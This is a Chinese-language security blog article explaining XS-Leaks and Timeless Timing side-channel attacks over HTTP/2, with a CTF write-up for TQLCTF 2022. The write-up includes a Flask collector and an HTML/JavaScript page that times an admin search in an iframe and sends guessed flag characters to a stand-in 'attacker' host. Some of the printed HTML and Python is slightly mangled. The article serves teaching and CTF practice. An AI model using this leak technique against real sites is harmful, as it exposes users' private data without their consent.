浅谈XS-Leaks之Timeless timing
共 9548字,需浏览 20分钟
·
2022-05-18 13:57
本文来自“白帽子社区知识星球”
作者:Snakin
1 什么是XS-Leaks?
Cross-site leaks(又名 XS-Leaks、XSLeaks)是一类源自 Web 平台内置的侧通道的漏 洞。他们利用网络的可组合性核心原则,允许网站相互交互,并滥用合法机制来推断 有关用户的信息。
2 XS-Leaks和CSRF的区别
XS-Leaks 和 csrf 较为相似。不过主要区别是 csrf 是用来让受害者执行某些操作,而 xs-leaks 是用来探测用户敏感信息。
3 XS-Leaks的利用原理和使用条件
浏览器提供了多种功能来支持不同 Web 应用程序之间的交互;例如,它们允许网站 加载子资源、导航或向另一个应用程序发送消息。虽然此类行为通常受到 Web 平台 中内置的安全机制(例如同源策略)的限制,
但 XS-Leaks 会利用网站之间交互过程 中暴露的小块信息。XS-Leak 的原理是使用 Web 上可用的侧信道来探测有关用户的敏感信息,例如他们 在其他 Web 应用程序中的数据、有关其本地环境的详细信息或他们连接到的内部网络。
设想网站存在一个模糊查找功能(若前缀匹配则返回对应结果)例如http://localhost/search?query= ,页面是存在 xss 漏洞,并且有一个类似 flag 的字符串,并且只有不同用户查询的结果集不同。这时你可能会尝试 csrf,但是由于 网站正确配置了 CORS,导致无法通过 xss 结合 csrf 获取到具体的响应。这个时候就 可以尝试 XS-Leaks。虽然无法获取响应的内容,但是是否查找成功可以通过一些侧 信道来判断。
这些侧信道的来源通常有以下几类:
浏览器的 api (e.g. Frame Counting and Timing Attacks )
浏览器的实现细节和 bugs (e.g. Connection Pooling and typeMustMatch )
3. 硬件 bugs (e.g. Speculative Execution Attacks 4 ) 一般来说,想要成功利用,需要网页具有模糊查找功能,可以构成二元结果(成功或 失败),并且二元之间的差异性可以通过某种侧信道技术探测到。
补充一下,侧信道(Side Channel Attck)攻击主要是通过利用非预期的信息泄露来间接 窃取信息。
1 传统的计时攻击
想象这样一个情景,受害者有权限访问一些报告,当受害者访问我们的网站,我们发 出两个请求:
查询一个不可能存在的字符
查询一个需要确认是否存在的字符
当发现查询的时间有差异时,我们就能推断出这个字符存在于报告中的某个地方;同 理,当两个请求返回的时间相同,说明该字符不在。
但现实环境并没有那么理想,根据29th usenix 上的这篇论文Timeless Timing Attacks: Exploiting Concurrency to Leak Secrets over Remote Connections,传统的基于时间的 攻击主要受到以下一些因素影响:
基于攻击者与服务器间的网络因素
高的网络延迟会带来比较差的攻击效果。(尽管攻击者可以使用离目标服务 器物理位置比较近的 VPS 或者同一个 VPS 供应商来解决这个问题)
网络延迟在上游下游都有可能产生
时间差是决定传统时间攻击是否能够成功的重要因素
例如监测 50 ms 就要比 5µs 要简单 需要大量的测试请求 一般来说判断延迟所需要的请求数量:
也就是说在这种情况下,我们可能需要发送成百上千的请求才能判断是否存在信息泄
露,并且它仅仅只能判断一个字符。这不仅需要发送大量请求,而且在整个攻击过程
中受害者需要持续访问我们的的网站以及一些其他的限制。
2 Timeless timing
1 原理
在整个攻击流程中,我们想要知道的是查询所需要的时间,这个过程发生在服务端。而我们测量的地方在客户端,这中间会发生许多的网络交换,这个过程无法避免,因 为我们不能直接在服务器上测量时间。
事实上,我们在意的并不是两个查询各自花费了多少时间,我们在意的是哪一个花费 的时间更长!这里我们假设有两个报文 A 、 B,后端服务器在接受到 A 时会产生延迟,接受到 B 时不会产生延迟,这篇论文主要通过以下方式解决了传统时间攻击的这些问题:
通过报文同时发出来尽可能使其同时到达来避免通信过程中产生的网络抖动影响 (由于攻击者不能控制低层的网络协议,所以我们需要其他方法来让两个请求在 同一个packet内)
这里可以有两个选择:多路复用以及报文封装
多路复用:可以通过 HTTP/2 并发流机制来达到这一个目的,使其尽可能 在同一时间被发送并尽可能在同一时间到达。(比如 HTTP/2 与 HTTP/3 开启了多路复用,HTTP/1.1 并没有)其中尽量还要满足一个报文可以携 带多个请求到达服务器这么一个条件
报文封装:这种网络协议可以封装多个数据流(例如 HTTP/1.1 over Tor or VPN)
通过测量两个报文的返回顺序来代替传统攻击中测量报文所需时间
对比 AB 两个报文哪一个先返回来判定哪一个受到了延迟,而不是通过测量 哪一个报文用了多少时间
此时要求服务器、应用拥有并行处理的能力,目前大多数都可以满足这个要求
如果我们可以满足同时发出两个报文 AB 并且他们也同时到达,Timeless Timing 攻 击需要做的就是重复多组发送报文的操作,并统计他们返回的先后顺序,如果服务器 处理两个报文后没有产生延迟的现象,那么这两个报文会被立即返回,因为返回顺序 不受我们控制,并且可能受到返程通信过程中的网络影响,所以返回的先后顺序概 率为 50% 及 50% 。
如果服务器在处理 B 报文时会差生延迟现象,诸如比 A 要多进行一遍解密、查询等 耗时的操作,那么 B 会比 A 要稍晚才能返回,这样一来,尽管响应报文在通信过程 中仍然会受到一些影响,但是我们可以多次测量来统计这个概率,此时 B 比 A 先返 回的概率回明显小于 50% ,于是我们可以通过这个概率来判断两个请求是否在服务 器处理时产生了延迟。
并且论文当中也对比了传统时间攻击与 Timeless Timing 攻击之间的各自区分一定时 间延迟所需要的请求:
还是可以很明显的看出timeless timing在同样探测精度下所需要的请求数量要少很多。
2 优点
基于并发的Timeless timing attck不受网络抖动和不确定延迟的影响
远程的计时攻击具有与本地系统上的攻击者相当的性能。
简单示例
在此之前我们可以先看一个demo
a starting point for our exploit:
https://github.com/DistriNet/timeless-timing-attacks
我们可以使用仓库中给的示例代码:
from h2time import H2Time, H2Request
import logging
import asyncio
ua = 'h2time/0.1'
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger('h2time')
async def run_two_gets():
r1 = H2Request('GET', 'https://tom.vg/?1', {'user-agent':
ua})
r2 = H2Request('GET', 'https://tom.vg/?2', {'user-agent':
ua})
logger.info('Starting h2time with 2 GET requests')
async with H2Time(r1, r2, num_request_pairs=5) as h2t:
results = await h2t.run_attack()
print('\n'.join(map(lambda x: ','.join(map(str, x)),
results)))
logger.info('h2time with 2 GET requests finished')
loop = asyncio.get_event_loop()
loop.run_until_complete(run_two_gets())
loop.close()
首先创建两个 H2Request 对象,然后将它们传递给 H2Time。当调用 run_attack() 方 法时,客户端将开始发送请求对,并尝试确保两者同时到达服务器(每个请求的最终 字节应放在单个 TCP 数据包中)。在第一个请求中,附加参数被添加到 URL 以抵消 请求可以开始处理的时间差异(数字由 num_padding_params 参数定义 - 默认值:40)。
H2Time 可以在顺序模式下运行,它等待发送下一个请求对,直到收到前一个请求对 的响应。当顺序设置为 False 时,所有请求对将一次发送,间隔为 inter_request_time_ms 参数定义的毫秒数。返回的结果是一个包含 3 个元素的元组列表:
第二个请求和第一个请求之间的响应时间差异(以纳秒为单位)
第一个请求的响应状态
响应第二个请求的状态
如果响应时间的差异为负,这意味着首先收到了对第二个请求的响应。要执行 timeless 定时攻击,只需要考虑结果是肯定的还是否定的(肯定表示第一个请求的处 理时间比处理第二个请求花费的时间少)。
[WCTF 2020]Spaceless Spacing
该题目主要考察的是我们可以构造并同时发出 HTTP/2 报文,从而使得尽量满足同时 发出同时到达的条件。由于两个请求同时运行而没有网络差异来影响我们的计时,我 们可以简单地检查哪个响应首先返回。
由于 HTTP 1.X 是基于文本的,因为是文本,就导致了它必须是个整体,在传输是不 可切割的,只能整体去传。
但 HTTP 2.0 是基于二进制流的。有两个非常重要的概念,
分别是帧(frame)和流 (stream) 帧代表着最小的数据单位,每个帧会标识出该帧属于哪个流。
流就是多个帧组成的数据流。
将 HTTP 消息分解为独立的帧,交错发送,然后在另一端重新组装。
并行交错地发送多个请求,请求之间互不影响。
并行交错地发送多个响应,响应之间互不干扰。
使用一个连接并行发送多个请求和响应。
简单的来说:在同一个TCP连接中,同一时刻可以发送多个请求和响应,且不用按 照顺序一一对应。
之前是同一个连接只能用一次, 如果开启了keep-alive,虽然可以用多次,但是同一 时刻只能有一个HTTP请求。
有兴趣的可以看看题目环境[GitHub - ConnorNelson/spaceless-spacing: CTF Challenge]
https://github.com/ConnorNelson/spaceless-spacing
[TQLCTF 2022] A More Secure Pastebin
题目考点:
XS-Leaks
Timeless Timing
HTTP/2 Concurrent Stream
TCP Congestion Control
理论基础:HTTP/2 并发流可以在一个流内组装多个 HTTP 报文;TCP Nagle 拥塞控 制算法;在 TCP 产生拥堵时,浏览器会将多个报文放入到一个 TCP 报文当中。
实践题解:Post 一个 body 过大的报文让 TCP 产生拥堵,使得浏览器将多个 HTTP/2 报文放在一个 TCP 报文当中,通过 admin 搜索 flag 产生时间差异,使用 Timeless Timing 攻击完成 XS-Leaks 。
题目
题目主要有两个对象:
User 对象:拥有 username/password/webstie/date 属性
Paste 对象:拥有 pastedid/username/title/content/date 属性
题目主要功能:
基础的用户注册登录功能 用户可以自行创建 Paste ;
用户可以自定义自己的 website 属性
搜索功能:通过模糊匹配实现,但是用户传入的数据会被 escape-string-regexp 过 滤。用户可以执行搜索自己的文章内容;Admin 用户则可以搜索所有用户的文章内容。
其中 admin 用户的搜索功能实现为:
const searchRgx = new RegExp(escapeStringRegexp(word), "gi");
// No time to implemente the pagination. So only show 5 results
first.
let paste = await Pastes.find({
content: searchRgx,
})
.sort({ date: "asc" })
.limit(5);
if (paste && paste.length > 0) {
let data = [];
await Promise.all(
paste.map(async (p) => {
let user = await User.findOne({ username: p.username
});
data.push({
pasteid: p.pasteid,
title: p.title,
content: p.content,
date: p.date,
username: user.username,
website: user.website,
});
})
);
return res.json({ status: "success", data: data });
} else {
return res.json({ status: "fail", data: [] });
}
也就是说 admin 用户搜索到对应的文章内容后,还会进一步找到对应的用户信息。
可以看到 admin 的搜索接口其实就比较符合这个背景。因为 admin 搜索接口在搜索 到相关内容时,会进一步去查询 MongoDB 当中的用户信息,如果搜不到就会立马 返回响应,这里就是 Timeless Timing 所需要测量的时间差值。并且我们知道 flag 就 在 admin 的文章当中,所以我们只需要让 admin 查自己的文章是否包含我们查询的 字符串,比如 flag{a 就能通过是否有时间延迟来测量出来了。
但是此时我们所处的背景环境是在浏览器当中,我们无法直接控制到报文的生成发 送,这是进行 Timeless Timing 比较困难的地方。没办法控制报文同时发送就会让发 出去的请求会因为各种网络抖动因素导致时间侧信道失效,所以怎么在浏览器的背景 下利用 Timeless Timing 成了我们这个题目的最大的难点。
这里我们需要用到 TCP 拥塞控制,其实应该指的是 Nagle 算法 :
Nagle算法于1984年定义为福特航空和通信公司IP/TCP拥塞控制方法,这是福特 经营的最早的专用TCP/IP网络减少拥塞控制,从那以后这一方法得到了广泛应 用。Nagle的文档里定义了处理他所谓的小包问题的方法,这种问题指的是应用 程序一次产生一字节数据,这样会导致网络由于太多的包而过载(一个常见的 情况是发送端的"糊涂窗口综合症(Silly Window Syndrome)")。从键盘输入的 一个字符,占用一个字节,可能在传输上造成41字节的包,其中包括1字节的有 用信息和40字节的首部数据。这种情况转变成了4000%的消耗,这样的情况对于 轻负载的网络来说还是可以接受的,但是重负载的福特网络就受不了了,它没 有必要在经过节点和网关的时候重发,导致包丢失和妨碍传输速度。吞吐量可 能会妨碍甚至在一定程度上会导致连接失败。Nagle的算法通常会在TCP程序里 添加两行代码,在未确认数据发送的时候让发送器把数据送到缓存里。任何数 据随后继续直到得到明显的数据确认或者直到攒到了一定数量的数据了再发 包。尽管Nagle的算法解决的问题只是局限于福特网络,然而同样的问题也可能 出现在ARPANet。这种方法在包括因特网在内的整个网络里得到了推广,成为 了默认的执行方式,尽管在高互动环境下有些时候是不必要的,例如在客户/服 务器情形下。在这种情况下,nagling可以通过使用TCP_NODELAY 套接字选项 关闭。
简单来说,在 TCP 拥堵的情况下,数据报文会被暂时放到缓存区里,然后等后续数 据到了一定程度才会被发送出去。按照这个理论,只要我们能够把 TCP 阻塞到一定 程度即可让我们的报文放到缓存区中从而使得我们的两个搜索请求放到一个 TCP 报 文当中了。
如何让 TCP 产生拥堵呢?在浏览器里我们能进行的操作并不多,最简单最直接的就 是直接发送 POST 一个过大 body 的 HTTP 请求即可。
所以,到这里我们基本可以知道怎么去解题了。只需要提交一个页面链接,该页面会 进行使用 JavaScript 进行以下操作:
1. Post 过大的 body 到任意接受 POST 的路由进而阻塞整个 TCP 信道
2. 使用两个 fetch 向搜索接口发送我们需要探测的字符串,此时系统检测到 TCP 信道存在阻塞,会将这两个请求放入到缓冲区,从而放入到一个 TCP 报文当中
3. 使用 Promise.all 或者其他方法检测这两个 fetch 哪一个先被返回
4. 重复以上步骤,每对字符串请求以 10 次或 20 次为一轮,统计每轮请求中对应字 符的返回顺序优先关系得到概率,进行多轮(最好大于等于 4 轮)探测
5. 根据我们得到的结果频率为依据判断我们探测的字符
解题
from flask import Flask,render_template,request,
app = Flask(__name__)
@app.route('/')
def index():
word = request.args.get('word')
return render_template('index.html',word="TQLCTF{%s"%word)
@app.route('/result',methods=['GET'])
def check():
word = request.args.get('word')
ms = request.args.get('ms')
print('%s,%s'%(word,ms))
return "asd"
if __name__ == '__main__':
app.run(host="0.0.0.0",port=5001)
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initialscale=1.0">
<title>Documenttitle>
<script>
const start = Date.now() //这里开始计时
script>
<script>
//abc()会将加载时间计算好之后,连同测试字符一同发给
result路由。
abc = () => {
const end = Date.now()
var req = new XMLHttpRequest();
req.open('get',`http://attacker/result?word=
{{word}}&ms=${end - start}`,true);
req.withCredentials = true;
req.send();
}
script>
head>
<body>
<iframe src="https://proxy:443/admin/searchword?word=
{{word}}" onload="abc()">iframe>
body>
html>
将flask服务器架设起来接收结果。
打开burp用测试器爆破,提交架设的页面让bot去访问,Payload选择小写字母和数字 (因为flag只有八位小写字母和数字),爆破完一位往flask代码里再加一位就好了。
Timeless timing攻击不受网络抖动因素的影响
远程的计时攻击具有与本地系统上的攻击者相当的性能
可以针对具有多路复用功能的协议发起攻击或利用启用封装的传输协议
所有符合标准的协议都可能受到Timeless timing attck:在实际场景下我们创建了 针对 HTTP/2 和 EAP-pwd (Wi-Fi) 的攻击
论文中提到,在HTTP/2协议的情况下,我们可以利用多路封装协议来完成timeless timing attck;但目前主流网络环境仍使用HTTP/1.1,所以除了论文中提到的基于报文 封装的限制性较大的方法,还有没有办法能够在HTTP/1.1协议下完成Timeless timing attck呢?
我们可以考虑HTTP/1.1的pipeline,这是HTTP持续连接的工作方式之一,其特点是客 户在收到HTTP的响应报文之前就能够接着发送新的请求报文。于是一个接一个的请 求报文到达服务器后,服务器就可持续发回响应报文。
总结一下特点:
1. 由于pipeline是强制顺序响应的,那么其请求和响应的顺序是强制固定的 2. 服务端在接受pipeline的请求时以单一线程对其进行分割并进行处理,只有请求1 处理完成后才会处理请求2
pipeline是单线程顺序处理,那么就算时间有延迟我们也难以发现,这种情况下可以 考虑放大。 既然pipeline是单线程,那么我就利用pipeline单线程不断的处理同一 个请求,假如请求A和请求B的执行时间差异1ms,那么请求A*1000和请求 B*1000的整个时间差异就可以达到1秒!
但实际情况下我们并不能进行无限制的放大。在实际的场景里,pipeline的最大处理 请求数受到服务器中间件的配置影响,比如apache里默认在启用keepalive的情况下会 设置pipeline最大支持请求为100个。
当然,如果响应里keepalive只有一个timeout并没有max的情况下则意味着其没有对 pipeline数量进行限制,那么也就是说我们的放大场景是存在的这时候只要无限的构 造pipeline请求就可以无限叠加倍率。
这样我们就可以在HTTP/1.1的场景下使用,虽然这样的站点不是很多但也算是另辟蹊 径。
http://blog.zeddyu.info/2022/02/21/2022-02-21-PracticalTimingTimeless/#others
https://www.usenix.org/system/files/sec20-van_goethem.pdf
http://www.ctfiot.com/34572.html
https://book.hacktricks.xyz/pentesting-web/xs-search
https://xsleaks.dev/docs/attacks/timing-attacks/network-timing
如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。
▼扫码关注白帽子社区公众号&加入知识星球▼